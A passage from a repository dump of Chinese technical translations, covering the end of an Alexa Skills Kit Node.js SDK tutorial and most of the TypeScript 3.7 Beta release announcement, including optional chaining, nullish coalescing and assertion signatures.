使得在我们想要的意图（Intent）上激活一个函数变得简单。例如，创建一个为 ‘HelloWorldIntent’ 服务的事件管理器，我们只需要简单地用以下代码实现：\n\n```\nvar handlers = {\n\n    'HelloWorldIntent': function () {\n\n        this.emit(':tell', 'Hello World!');\n\n                  }\n\n};\n```\n\n注意上面出现的一个新语法规则 “:tell”? alexa-sdk 遵循 tell/ask 的响应方式来生成你的[语音输出回复对象](https://developer.amazon.com/public/solutions/alexa/alexa-skills-kit/docs/alexa-skills-kit-interface-reference)。如果我们想要问用户问题的话，我们需要把以上代码改成：\n\n```\nthis.emit(‘:ask’, ’What would you like to do?’, ’Please say that again?’);\n```\n\n事实上，你的 skill 生成的许多回复都遵循一样的语法规则。下面是一些常见的 skill 回复生成的例子：\n\n```\nvar speechOutput = 'Hello world!';\n\nvar repromptSpeech = 'Hello again!';\n\nthis.emit(':tell', speechOutput);\n\nthis.emit(':ask', speechOutput, repromptSpeech);\n\nvar cardTitle = 'Hello World Card';\n\nvar cardContent = 'This text will be displayed in the companion app card.';\n\nvar imageObj = {\n\n    smallImageUrl: 'https://imgs.xkcd.com/comics/standards.png',\n\n    largeImageUrl: 'https://imgs.xkcd.com/comics/standards.png'\n\n};\n\nthis.emit(':askWithCard', speechOutput, repromptSpeech, cardTitle, cardContent, imageObj);\n\nthis.emit(':tellWithCard', speechOutput, cardTitle, cardContent, imageObj);\n\nthis.emit(':tellWithLinkAccountCard', speechOutput);\n\nthis.emit(':askWithLinkAccountCard', speechOutput);\n\nthis.emit(':responseReady'); // 在回复创建之后，返回 Alexa 服务之前被调用。Calls :saveState。\n\nthis.emit(':saveState', false); // 事件管理器将 this.attributes 的内容和当前管理器的状态存储到 DynamoDB，然后将之前内置的回复发送到 Alexa 服务。如果你想用别的方式处理持久化状态，可以重写它。其中的第二个属性是可选的并且可以通过将它设置为 ‘true’ 以强制储存。\n\nthis.emit(':saveStateError'); // 在存储状态的过程出错时被调用。如果你想自己处理异常的话，可以重写它。\n```\n\n一旦我们创建好事件管理器，在新的 session（NewSession）场景下，我们需要用之前创建的 alexa 对象中的 registerHandlers 函数去注册这些管理器。\n\n```\nexports.handler = function(event, context, callback){\n\n    var alexa = Alexa.handler(event, context);\n\n    alexa.registerHandlers(handlers);\n\n};\n```\n\n你也可以同时注册多个事件管理器。与其创建单个管理器对象，我们创建了一个新的 session，其中有许多处理不同事件的不同管理器，并且我们可以通下面的代码同时注册它们：\n\n```\n    alexa.registerHandlers(handlers, handlers2, handlers3, ...);\n```\n\n你所定义的事件管理器可以相互调用，从而保证你的 skill 的回复是统一的。下面是 LaunchRequest 和 IntentRequest（在 HelloWorldIntent 中）都返回 “Hello World” 消息的一个例子。\n\n```\nvar handlers = {\n\n    'LaunchRequest': function () {\n\n        this.emit('HelloWorldIntent');\n\n    },\n\n    'HelloWorldIntent': function () {\n\n        this.emit(':tell', 'Hello World!');\n\n};\n```\n\n一旦你注册了所有的意图管理器函数，你只需要简单地用 alexa 对象里的执行函数去运行 skill 的逻辑就可以了。最后一行代码是这样的：\n\n```\nexports.handler = function(event, context, callback){\n\n    var alexa = Alexa.handler(event, context);\n\n    alexa.registerHandlers(handlers);\n\n    alexa.execute();\n\n};\n```\n\n你可以从 github 上下载完整的示例。我们还提供了最新的基于 Node.js 和 alexa-sdk 开发的 skill 示例：[Fact](https://github.com/alexa/skill-sample-nodejs-fact)，[HelloWorld](https://github.com/alexa/skill-sample-nodejs-hello-world)，[HighLow](https://github.com/alexa/skill-sample-nodejs-highlowgame)，[HowTo](https://github.com/alexa/skill-sample-nodejs-howto) 和 [Trivia](https://github.com/alexa/skill-sample-nodejs-trivia)。\n\n## 让 Skill 的状态管理更简单\n\nalexa-sdk 会根据当前状态把即将接受的 intent 传送给正确的管理器函数。它其实只是 session 属性中一个简单的字符串，用来表示 skill 的状态。在定义 intent 管理器的时候，你也可以通过将表示状态的字符串添加到 intent 的名称后面来模仿这个内置传送的过程，但事实上 alexa-sdk 已经帮你做到了。\n\n比如说，让我们根据上一个管理新的 session 事件的例子，创建一个简单的有“开始”和“猜数”两个状态的猜数字游戏。\n\n```\nvar states = {\n    GUESSMODE: '_GUESSMODE', // User is trying to guess the number.\n    STARTMODE: '_STARTMODE'  // Prompt the user to start or restart the game.\n};\n\nvar newSessionHandlers = {\n\n // 以下代码将会切断任何即将输入的 intent 或者启动请求，并且把它们都传送给这个管理器。\n\n  'NewSession': function() {\n\n    this.handler.state = states.STARTMODE;\n\n    this.emit(':ask', 'Welcome to The Number Game. Would you like to play?.');\n\n   }\n\n };\n```\n\n注意当一个新的 session 被创建时，我们简单地通过 this.handler.state 把 skill 的状态设置为 STARTMODE。此时 skill 的状态将会自动被持久化在 session 的属性中，如果你在 DynamoDB 里设置了表格的话，你可以选择将它持久化于各个 session 当中。\n\n值得注意的是，NewSession 是一个很棒的捕捉各种行为的管理器，同时也是一个很好的 skill 入口，但它不是必需的。NewSession 只会在一个以它命名的函数中被唤醒。你所定义的每一个状态都可以有它们自己的 NewSession 管理器，在你使用内置留存时被唤醒。在上面的例子中，我们可以更加灵活地为 states.STARTMODE 和 states.GUESSMODE 定义不同的 NewSession 行为。  \n\n为了定义回复 skill 在不同状态下的 intents，我们需要使用 Alexa.CreateStateHandler 函数。任何在这里定义的 intent 管理器将只会在特定状态下工作，这让我们的开发操作更加灵活！\n\n例如，如果我们在上面定义的 GUESSMODE 状态下，我们想要处理用户对一个问题的回复。这可以通过 StateHandlers 实现，就像这样：   \n\n```\nvar guessModeHandlers = Alexa.CreateStateHandler(states.GUESSMODE, {\n\n    'NewSession': function () {\n\n        this.handler.state = '';\n\n        this.emitWithState('NewSession'); // 等同于 Start Mode 下的 NewSession handler\n\n    },\n\n    'NumberGuessIntent': function() {\n\n        var guessNum = parseInt(this.event.request.intent.slots.number.value);\n\n        var targetNum = this.attributes[\"guessNumber\"];\n\n        console.log('user guessed: ' + guessNum);\n\n\n\n        if(guessNum > targetNum){\n\n            this.emit('TooHigh', guessNum);\n\n        } else if( guessNum < targetNum){\n\n            this.emit('TooLow', guessNum);\n\n        } else if (guessNum === targetNum){\n\n            // 通过一个 callback 函数，用 arrow 函数储存正确的 ‘this’ context\n\n            this.emit('JustRight', () => {\n\n                this.emit(':ask', guessNum.toString() + 'is correct! Would you like to play a new game?',\n\n                'Say yes to start a new game, or no to end the game.');\n\n        })\n\n        } else {\n\n            this.emit('NotANum');\n\n        }\n\n    },\n\n    'AMAZON.HelpIntent': function() {\n\n        this.emit(':ask', 'I am thinking of a number between zero and one hundred, try to guess and I will tell you' +\n\n            ' if it is higher or lower.', 'Try saying a number.');\n\n    },\n\n    'SessionEndedRequest': function () {\n\n        console.log('session ended!');\n\n        this.attributes['endedSessionCount'] += 1;\n\n        this.emit(':saveState', true);\n\n    },\n\n    'Unhandled': function() {\n\n        this.emit(':ask', 'Sorry, I didn\\'t get that. Try saying a number.', 'Try saying a number.');\n\n    }\n\n});\n```\n\n另一方面，如果我们在 STARTMODE 状态下，我可以用以下方式定义 StateHandlers：\n\n```\nvar startGameHandlers = Alexa.CreateStateHandler(states.STARTMODE, {\n\n    'NewSession': function () {\n\n        this.emit('NewSession'); // 在 newSessionHandlers 使用管理器\n\n    },\n\n    'AMAZON.HelpIntent': function() {\n\n        var message = 'I will think of a number between zero and one hundred, try to guess and I will tell you if it' +\n\n            ' is higher or lower. Do you want to start the game?';\n\n        this.emit(':ask', message, message);\n\n    },\n\n    'AMAZON.YesIntent': function() {\n\n        this.attributes[\"guessNumber\"] = Math.floor(Math.random() * 100);\n\n        this.handler.state = states.GUESSMODE;\n\n        this.emit(':ask', 'Great! ' + 'Try saying a number to start the game.', 'Try saying a number.');\n\n    },\n\n    'AMAZON.NoIntent': function() {\n\n        this.emit(':tell', 'Ok, see you next time!');\n\n    },\n\n    'SessionEndedRequest': function () {\n\n        console.log('session ended!');\n\n        this.attributes['endedSessionCount'] += 1;\n\n        this.emit(':saveState', true);\n\n    },\n\n    'Unhandled': function() {\n\n        var message = 'Say yes to continue, or no to end the game.';\n\n        this.emit(':ask', message, message);\n\n    }\n```\n\n我们可以看到 AMAZON.YesIntent 和 AMAZON.NoIntent 在 guessModeHandlers 对象中是没有被定义的，因为对于该状态来说，“是”或者“不是”的回复是没有意义的。这样的回复将会被 ‘Unhandled’ 管理器捕捉到。\n\n还有就是，注意在 NewSession 和 Unhandled 这两个状态中的不同行为。在这个游戏中，我们通过调用 newSessionHandlers 对象中的 NewSession 管理器“重置” skill 的状态。你也可以跳过这一步，然后 alexa-sdk 将会为当前状态调用 intent 管理器。你只需要记住在调用 alexa.execute() 之前去注册你的状态管理器，否则它们将不会被找到。\n\n所有属性将会在你的 skill 结束 session 时自动保存，但是如果用户自己结束了当前的 session，你需要 emit ‘:saveState’ 事件（this.emit(‘:saveState’, true）来强制保存这些属性。你应该在 SessionEndedRequest 管理器中做这件事，因为 SessionEndedRequest 管理器将会在用户通过“退出”或回复超时结束当前 session 的时候被调用。你可以看看以上的代码示例。\n\n我们将上面的例子写在了一个高/低猜数字游戏中，你可以点击[这里下载](https://github.com/alexa/skill-sample-nodejs-highlowgame)。\n\n## 通过 Amazon DynamoDB 持久化 Skill 属性\n\n很多人喜欢将 session 属性值储存到数据库中以便日后使用。alexa-sdk 直接结合了 [Amazon DynamoDB](https://aws.amazon.com/dynamodb/)（一个 NoSQL 的数据库服务）让你只需要几行代码就可以实现属性存储。\n\n简单地在你调用 alexa.execute 之前为 alexa 对象中的 DynamoDB 的表格设置一个名字。\n\n```\nexports.handler = function(event, context, callback) {\n    var alexa = Alexa.handler(event, context);\n    alexa.appId = appId;\n    alexa.dynamoDBTableName = ’YourTableName'; // That’s it!\n    alexa.registerHandlers(State1Handlers, State2Handlers);\n    alexa.execute();\n};\n```\n\n之后，你只需要调用 alexa 对象的 attributes 为你的属性设置一个值。不再需要其他输入而得到单独的函数！\n\n```\nthis.attributes[”yourAttribute\"] = ’value’;\n```\n\n你可以提前[手动创建一个表格](http://docs.aws.amazon.com/amazondynamodb/latest/developerguide/SampleData.CreateTables.html)或者为你的 Lambda 函数的 DynamoDB 提供[创建表格权限](http://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_CreateTable.html)然后一切都会自动生成。不过你要知道，在第一次唤醒 skill 的时候，创建表格可能会花费几分钟的时间。\n\n尝试扩展高低猜数字游戏：  \n\n*   让它能够储存你每次游戏中所猜的平均数\n*   加入[声音效果](https://developer.amazon.com/public/solutions/alexa/alexa-skills-kit/docs/speech-synthesis-markup-language-ssml-reference#audio)\n*   给玩家有限的猜数字时间\n\n想要获取更多关于学习使用 Alexa Skills Kit 开发的信息，可以看看下面的链接：\n\n[基于 Node.js 的 Alexa Skills Kit](https://github.com/alexa/alexa-skill-sdk-for-nodejs)  \n[Alexa 开发者播客](http://bit.ly/alexadevchat)  \n[Alexa 开发培训](https://developer.amazon.com/public/community/blog/tag/Big+Nerd+Ranch)  \n[关于 Alexa Skills 的介绍](https://goto.webcasts.com/starthere.jsp?ei=1087595)  \n[101 条语音交互设计指南](https://goto.webcasts.com/starthere.jsp?ei=1087592)  \n[Alexa Skills Kit (ASK)](https://developer.amazon.com/ask)  \n[Alexa 开发者论坛](https://forums.developer.amazon.com/forums/category.jspa?categoryID=48)\n\n- Dave ([@TheDaveDev](http://twitter.com/thedavedev))\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/announcing-typescript-3-7-beta.md",
    "content": "> * 原文地址：[Announcing TypeScript 3.7 Beta](https://devblogs.microsoft.com/typescript/announcing-typescript-3-7-beta/)\n> * 原文作者：[Daniel](https://devblogs.microsoft.com)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/announcing-typescript-3-7-beta.md](https://github.com/xitu/gold-miner/blob/master/TODO1/announcing-typescript-3-7-beta.md)\n> * 译者：[Xuyuey](https://github.com/Xuyuey)\n> * 校对者：[药王](https://github.com/ArcherGrey), [TiaossuP](https://github.com/TiaossuP)\n\n# TypeScript 3.7 Beta 版发布\n\n我们很高兴发布 TypeScript 3.7 Beta 版，它包含了 TypeScript 3.7 版本的所有功能。从现在到最后发布之前，我们将修复错误并进一步提高它的性能和稳定性。\n\n开始使用 Beta 版，你可以通过 [NuGet](https://www.nuget.org/packages/Microsoft.TypeScript.MSBuild) 安装，或者通过 npm 使用以下命令安装：\n\n```bash\nnpm install typescript@beta\n```\n\n你还可以通过以下方式获取编辑器的支持\n\n* [下载 Visual Studio 2019/2017](https://marketplace.visualstudio.com/items?itemName=TypeScriptTeam.typescript-37beta)\n* 请遵循有关 [Visual Studio Code](https://code.visualstudio.com/Docs/languages/typescript#_using-newer-typescript-versions) 和 [Sublime Text](https://github.com/Microsoft/TypeScript-Sublime-Plugin/#note-using-different-versions-of-typescript) 的说明。\n\nTypeScript 3.7 Beta 版包括了开发者呼声最高的一些功能！让我们深入研究一下新功能，从 3.7：可选链（Optional Chaining）开始。\n\n## 可选链（Optional Chaining）\n\nTypeScript 3.7 实现了迄今为止需求声最高的 ECMAScript 功能之一：可选链！我们的团队成员一直都在高度参与 TC39 委员会，努力争取将这个新功能加入到 ECMAScript 提案的第三个阶段，以便在未来我们可以将其带给所有的 TypeScript 用户。\n\n那什么是可选链呢？从本质上讲，可选链使我们在编写代码时，如果遇到 `null` 或者 `undefined`，可以立即停止运行某些表达式。可选链的主角是这个为了**可选属性访问**而存在的新运算符 `?.`。当我们像下面这样写代码时：\n\n```ts\nlet x = foo?.bar.baz();\n```\n\n也就是说，当 `foo` 被定义时，`foo.bar.baz()` 将会被计算；但是当 `foo` 是 `null` 或者 `undefined` 时，停下来不继续执行，直接返回 `undefined`。\n\n更明确地说，上面那段代码的意思和下面的这段完全相同。\n\n```ts\nlet x = (foo === null || foo === undefined) ?\n    undefined :\n    foo.bar.baz();\n```\n\n注意，如果 `bar` 是 `null` 或者 `undefined`，在我们的代码尝试访问 `baz` 时，它仍然会出错。同样，如果 `baz` 是 `null` 或者 `undefined`，在我们调用这个函数时也会报错。`?.` 仅仅检查在它左边的值是否为 `null` 或者 `undefined` —— 不包括在它之后的任何一个属性。\n\n你可能会发现你用 `?.` 替换了很多使用 `&&` 运算符执行中间属性检查的代码。\n\n```ts\n// 之前\nif (foo && foo.bar && foo.bar.baz) {\n    // ...\n}\n\n// 之后\nif (foo?.bar?.baz) {\n    // ...\n}\n```\n\n请牢记 `?.` 不同于 `&&` 运算符，因为 `&&` 仅仅是针对那些“假”（转换为布尔值为假）数据（例如：空字符串、`0`、`NaN` 以及 `false`）。\n\n可选链还包括其他两个操作。首先是**可选元素访问**，其作用类似于可选属性访问，但允许我们访问非属性标识符属性（例如：任意字符串、数字和 Symbol）\n\n```ts\n/**\n * 当我们有一个数组时，返回它的第一个元素\n * 否则返回 undefined。\n */\nfunction tryGetFirstElement<T>(arr?: T[]) {\n    return arr?.[0];\n    // 等价于\n    //   return (arr === null || arr === undefined) ?\n    //       undefined :\n    //       arr[0];\n}\n```\n\n这还有一个**可选调用**，它允许我们在表达式不为 `null` 或者 `undefined` 时调用该表达式。\n\n```ts\nasync function makeRequest(url: string, log?: (msg: string) => void) {\n    log?.(`Request started at ${new Date().toISOString()}`);\n    // 等价于\n    //   if (log !== null && log !== undefined) {\n    //       log(`Request started at ${new Date().toISOString()}`);\n    //   }\n\n    const result = (await fetch(url)).json();\n\n    log?.(`Request finished at at ${new Date().toISOString()}`);\n\n    return result;\n}\n```\n\n可选链具有的“短路”行为仅限于“普通”和可选属性的访问、调用以及可选元素的访问 —— 不会在表达式的基础上进一步扩展。换句话说，\n\n```ts\nlet result = foo?.bar / someComputation()\n```\n\n不会阻止除法或者调用 `someComputation()` 的发生。相当于\n\n```ts\nlet temp = (foo === null || foo === undefined) ?\n    undefined :\n    foo.bar;\n\nlet result = temp / someComputation();\n```\n\n这可能会导致除法的结果是 `undefined`，这就是为什么在 `strictNullChecks` 模式下，下面的代码会报错。\n\n```ts\nfunction barPercentage(foo?: { bar: number }) {\n    return foo?.bar / 100;\n    //     ~~~~~~~~\n    // 错误：对象有可能未定义。\n}\n```\n\n更多的细节，你可以[阅读该提案](https://github.com/tc39/proposal-optional-chaining/) 或者 [查看原始的 pull request](https://github.com/microsoft/TypeScript/pull/33294)。\n\n## 空值合并（Nullish Coalescing）\n\n**空值合并运算符**是另一个即将到来的 ECMAScript 新功能，和可选链是一对好兄弟，我们团队也在努力争取（将这个新功能加入到 ECMAScript 提案的第三个阶段）。\n\n你可以考虑使用这个功能 —— `??` 运算符 —— 作为一种处理 `null` 或者 `undefined` 时“回退”到默认值的方法。当我们像下面这样写代码时\n\n```ts\nlet x = foo ?? bar();\n```\n\n这是一种新的表达方式，告诉我们，当 `foo` “存在”时使用 `foo`；但当它是 `null` 或者 `undefined` 时，在它的位置上计算 `bar()` 的值。\n\n同样，上面的代码和下面的等价。\n\n```ts\nlet x = (foo !== null && foo !== undefined) ?\n    foo :\n    bar();\n```\n\n当我们尝试使用默认值时，`??` 运算符可以代替 `||`。例如，下面的代码会尝试获取上次保存在 [`localStorage`](https://developer.mozilla.org/en-US/docs/Web/API/Window/localStorage) 中的 volume 值（如果曾经保存过）；但是由于使用 `||` 这里存在一个 bug。\n\n```ts\nfunction initializeAudio() {\n    let volume = localStorage.volume || 0.5\n\n    // ...\n}\n```\n\n当 `localStorage.volume` 被置为 `0` 时，页面会意外地将 `0.5` 赋给 volume。`??` 可以避免一些由 `0` 导致的意外行为，`NaN` 和 `\"\"` 都会被 `??` 认为是假。\n\n非常感谢社区成员 [Wenlu Wang](https://github.com/Kingwl) 和 [Titian Cernicova Dragomir](https://github.com/dragomirtitian) 实现这个功能！更多的细节，你可以[查看他们的 pull request](https://github.com/microsoft/TypeScript/pull/32883) 或者 [查看空值合并提案仓库](https://github.com/tc39/proposal-nullish-coalescing/)。\n\n## 断言函数\n\n当错误发生的时候，一组特定的函数会 `throw`（抛出）异常。它们被称为“断言”函数。例如，Node.js 为此有一个专用函数，称为 `assert`。\n\n```ts\nassert(someValue === 42);\n```\n\n在这个例子中，如果 `someValue` 不等于 `42`，`assert` 将会抛出一个 `AssertionError`。\n\nJavaScript 中的断言通常用于防止传入不正确的类型。例如，\n\n```ts\nfunction multiply(x, y) {\n    assert(typeof x === \"number\");\n    assert(typeof y === \"number\");\n\n    return x * y;\n}\n```\n\n不幸的是在 TypeScript 中，这些检查永远无法被正确地编码。对于松散类型的代码，这意味着 TypeScript 检查的更少，而对于稍微保守型的代码，则通常迫使用户使用类型断言。\n\n```ts\nfunction yell(str) {\n    assert(typeof str === \"string\");\n\n    return str.toUppercase();\n    // 糟糕！我们拼错了 'toUpperCase'。\n    // 如果 TypeScript 仍然能捕获了这个错误，那就太好了！\n}\n```\n\n替代方案是改写代码，以便语言可以对其解析，但这并不方便！\n\n```ts\nfunction yell(str) {\n    if (typeof str !== \"string\") {\n        throw new TypeError(\"str should have been a string.\")\n    }\n    // 捕获错误！\n    return str.toUppercase();\n}\n```\n\n最终 TypeScript 的目标是以最小破坏的方法嵌入现有的 JavaScript 结构中。因此，TypeScript 3.7 引入了一个称为“断言签名（assertion signatures）”的新概念，可以对这些断言函数进行建模。\n\n第一种断言签名对 Node 的 `assert` 函数工作方法进行建模。它确保在函数作用域内的其余部分中，无论检查什么条件都一定为真。\n\n```ts\nfunction assert(condition: any, msg?: string): asserts condition {\n    if (!condition) {\n        throw new AssertionError(msg)\n    }\n}\n```\n\n`asserts condition` 表示，如果 `assert`（正常）返回了，那么无论传递给 `condition` 的参数是什么，它都一定为 true，否则 `assert` 会抛出一个异常。这意味着对于作用域内的其他部分，这个条件也一定是真的。例如，使用这个断言函数意味着我们**确实**捕获了刚才 `yell` 例子的异常。\n\n```ts\nfunction yell(str) {\n    assert(typeof str === \"string\");\n\n    return str.toUppercase();\n    //         ~~~~~~~~~~~\n    // 错误：属性 'toUppercase' 在 'string' 类型上不存在。\n    //      你是说 'toUpperCase' 吗？\n}\n\nfunction assert(condition: any, msg?: string): asserts condition {\n    if (!condition) {\n        throw new AssertionError(msg)\n    }\n}\n```\n\n断言签名的另一种类型不检查条件，而是告诉 TypeScript 特定的变量或属性具有不同的类型。\n\n```ts\nfunction assertIsString(val: any): asserts val is string {\n    if (typeof val !== \"string\") {\n        throw new AssertionError(\"Not a string!\");\n    }\n}\n```\n\n这里 `asserts val is string` 确保在调用 `assertIsString` 之后，传入的任何变量都是可以被认为是一个 `string`。\n\n```ts\nfunction yell(str: any) {\n    assertIsString(str);\n\n    // 现在 TypeScript 知道 'str' 是一个 'string'。\n\n    return str.toUppercase();\n    //         ~~~~~~~~~~~\n    // 错误：属性 'toUppercase' 在 'string' 类型上不存在。\n    //      你是说 'toUpperCase' 吗？\n}\n```\n\n这些断言签名与编写类型断言签名非常相似：\n\n```ts\nfunction isString(val: any): val is string {\n    return typeof val === \"string\";\n}\n\nfunction yell(str: any) {\n    if (isString(str)) {\n        return str.toUppercase();\n    }\n    throw \"Oops!\";\n}\n```\n\n就像是类型断言签名，这些断言签名也具有难以置信的表现力。我们可以用它们表达一些相当复杂的想法。\n\n```ts\nfunction assertIsDefined<T>(val: T): asserts val is NonNullable<T> {\n    if (val === undefined || val === null) {\n        throw new AssertionError(\n            `Expected 'val' to be defined, but received ${val}`\n        );\n    }\n}\n```\n\n要了解有关断言签名的更多信息，[请查看原始 pull request](https://github.com/microsoft/TypeScript/pull/32695)。\n\n## 更好地支持返回 `never` 的函数\n\n作为断言签名工作的一部分，TypeScript 需要对调用位置和调用函数进行更多编码。这使我们有机会扩展对另一类函数的支持：返回 `never` 的函数。\n\n任何返回 `never` 的函数的意味着是它永远不返回。它表明引发了异常，发生了暂停错误条件或者程序已经退出了。例如，[`@types/node` 中的 `process.exit(...)`](https://github.com/DefinitelyTyped/DefinitelyTyped/blob/5299d372a220584e75a031c13b3d555607af13f8/types/node/globals.d.ts#L874) 被指定为返回 `never`。\n\n为了确保函数永远不会返回 `undefined` 或者可以从所有代码路径中有效地返回，TypeScript 需要一些语法信号 —— 在函数末尾的 `return` 或者 `throw`。因此，用户才能发现他们自己 `return` 错误的函数。\n\n```ts\nfunction dispatch(x: string | number): SomeType {\n    if (typeof x === \"string\") {\n        return doThingWithString(x);\n    }\n    else if (typeof x === \"number\") {\n        return doThingWithNumber(x);\n    }\n    return process.exit(1);\n}\n```\n\n现在，当这些返回 `never` 的函数被调用时，TypeScript 可以识别出它们会影响控制流程图并说明原因。\n\n```ts\nfunction dispatch(x: string | number): SomeType {\n    if (typeof x === \"string\") {\n        return doThingWithString(x);\n    }\n    else if (typeof x === \"number\") {\n        return doThingWithNumber(x);\n    }\n    process.exit(1);\n}\n```\n\n与断言函数一样，你可以[在相同的 pull request 中阅读更多的细节](https://github.com/microsoft/TypeScript/pull/32695)。\n\n## （更多）递归类型别名\n\n类型别名在如何”递归“引用它们方面一直受到限制。原因是对类型别名的任何使用都必须能够用其别名替换自身。在某些情况下，这是不可能的，因此编译器会拒绝某些递归别名，如下所示：\n\n```ts\ntype Foo = Foo;\n```\n\n这是一个合理的限制，因为对 `Foo` 的任何使用都必须用 `Foo` 替换 `Foo`……好吧，希望你可以理解！最后，没有一种可以代替 `Foo` 的类型。\n\n这与[其他语言对待类型别名的方式是相当一致的](https://en.wikipedia.org/w/index.php?title=Recursive_data_type&oldid=913091335#In_type_synonyms)，但是对于用户如何利用该功能确实引发了一些令人惊讶的场景。例如，在 TypeScript 3.6 和更低的版本中，下面的代码会产生一个错误。\n\n```ts\ntype ValueOrArray<T> = T | Array<ValueOrArray<T>>;\n//   ~~~~~~~~~~~~\n// 错误：类型别名 'ValueOrArray' 循环引用自身。\n```\n\n这很奇怪，因为从技术上讲，这样使用没有任何错，用户应该总是可以通过引入接口来编写实际上是相同的代码。\n\n```ts\ntype ValueOrArray<T> = T | ArrayOfValueOrArray<T>;\n\ninterface ArrayOfValueOrArray<T> extends Array<ValueOrArray<T>> {}\n```\n\n因为接口（和其他对象类型）引入了一个间接级别，并且不需要急切地构建它们的完整结构，所以 TypeScript 在使用这种结构时没有问题。\n\n但是，对于用户而言，引入接口的解决方法并不直观。原则上，`ValueOrArray` 的初始版本直接使用 `Array` 并没有任何错误。如果编译器有点“懒惰”，仅在必要的时候才计算类型参数，那么 TypeScript 可以正确的表示这些参数。\n\n这正是 TypeScript 3.7 引入的。在类型别名的“顶层”，TypeScript 将推迟解析类型参数以允许使用这些模式。\n\n这意味着类似以下的代码正试图表示 JSON……\n\n```ts\ntype Json =\n    | string\n    | number\n    | boolean\n    | null\n    | JsonObject\n    | JsonArray;\n\ninterface JsonObject {\n    [property: string]: Json;\n}\n\ninterface JsonArray extends Array<Json> {}\n```\n\n最终可以在没有辅助接口的情况下进行重写。\n\n```ts\ntype Json =\n    | string\n    | number\n    | boolean\n    | null\n    | { [property: string]: Json }\n    | Json[];\n```\n\n这种新的宽松（模式）使我们也可以在元组中递归引用类型别名。下面这个曾经报错的代码现在是有效的 TypeScript 代码。\n\n```ts\ntype VirtualNode =\n    | string\n    | [string, { [key: string]: any }, ...VirtualNode[]];\n\nconst myNode: VirtualNode =\n    [\"div\", { id: \"parent\" },\n        [\"div\", { id: \"first-child\" }, \"I'm the first child\"],\n        [\"div\", { id: \"second-child\" }, \"I'm the second child\"]\n    ];\n```\n\n更多的细节，你可以[阅读原始的 pull request](https://github.com/microsoft/TypeScript/pull/33050)。\n\n## `--declaration` 和 `--allowJs`\n\nTypeScript 中的 `--declaration` 标志允许我们从 TypeScript 源文件（例如 `.ts` 和 `.tsx`）生成 `.d.ts` 文件（声明文件）。这些 `.d.ts` 文件很重要，因为它们允许TypeScript 对其他项目进行类型检查，而无需重新检查/构建原始源代码。出于相同的目的，使用项目引用时**需要**这个设置。\n\n不幸的是，`--declaration` 不能和 `--allowJs`（允许混合 TypeScript 和 JavaScript 的输入文件） 一起使用。这是一个令人沮丧的限制，因为它意味着即便是 JSDoc 注释，在用户在迁移代码库时也无法使用。\n\n在使用 `allowJs` 时，TypeScript 将尽最大努力理解 JavaScript 源代码，并将其以等效的表达形式存储在一个 `.d.ts` 文件中。这包括它所有的 JSDoc 注释，所以像下面这样的代码：\n\n```ts\n/**\n * @callback Job\n * @returns {void}\n */\n\n/** 工作队列 */\nexport class Worker {\n    constructor(maxDepth = 10) {\n        this.started = false;\n        this.depthLimit = maxDepth;\n        /**\n         * 注意：队列中的作业可能会将更多项目添加到队列中\n         * @type {Job[]}\n         */\n        this.queue = [];\n    }\n    /**\n     * 在队列中添加一个工作项\n     * @param {Job} work \n     */\n    push(work) {\n        if (this.queue.length + 1 > this.depthLimit) throw new Error(\"Queue full!\");\n        this.queue.push(work);\n    }\n    /**\n     * 启动队列，如果它尚未开始\n     */\n    start() {\n        if (this.started) return false;\n        this.started = true;\n        while (this.queue.length) {\n            /** @type {Job} */(this.queue.shift())();\n        }\n        return true;\n    }\n}\n```\n\n现在会被转换为以下无需实现的 `.d.ts` 文件：\n\n```ts\n/**\n * @callback Job\n * @returns {void}\n */\n/** 工作队列 */\nexport class Worker {\n    constructor(maxDepth?: number);\n    started: boolean;\n    depthLimit: number;\n    /**\n     * 注意：队列中的作业可能会将更多项目添加到队列中\n     * @type {Job[]}\n     */\n    queue: Job[];\n    /**\n     * 在队列中添加一个工作项\n     * @param {Job} work\n     */\n    push(work: Job): void;\n    /**\n     * 启动队列，如果它尚未开始\n     */\n    start(): boolean;\n}\nexport type Job = () => void;\n```\n\n更多的细节，你可以[查看原始的 pull request](https://github.com/microsoft/TypeScript/pull/32372)。\n\n## 使用项目引用进行免构建编辑\n\nTypeScript 的项目引用为我们提供了一种简单的方法来分解代码库，从而使我们可以更快地进行编译。不幸的是，编辑尚未建立依赖关系（或者输出过时）的项目意味着这种编辑体验无法正常工作。\n\n在 TypeScript 3.7 中，当打开具有依赖项的项目时，TypeScript 将自动使用源 `.ts`/`.tsx` 文件代替。这意味着使用项目引用的项目现在将获得更好的编辑体验，其中语义化操作是最新且“有效”的。在非常大的项目中使用这个更改可能会影响编辑性能，你可以使用编译器选项 `disableSourceOfProjectReferenceRedirect` 禁用此行为。\n\n你可以[通过阅读原始的 pull request 来了解有关这个更改的更多信息](https://github.com/microsoft/TypeScript/pull/32028)。\n\n## 未调用的函数检查\n\n忘记调用函数是一个常见且危险的错误，特别是当函数没有参数或者以一种暗示它可能是属性而不是函数的方式命名时。\n\n```ts\ninterface User {\n    isAdministrator(): boolean;\n    notify(): void;\n    doNotDisturb?(): boolean;\n}\n\n// 稍后……\n\n// 有问题的代码，请勿使用！\nfunction doAdminThing(user: User) {\n    // 糟糕！\n    if (user.isAdministrator) {\n        sudo();\n        editTheConfiguration();\n    }\n    else {\n        throw new 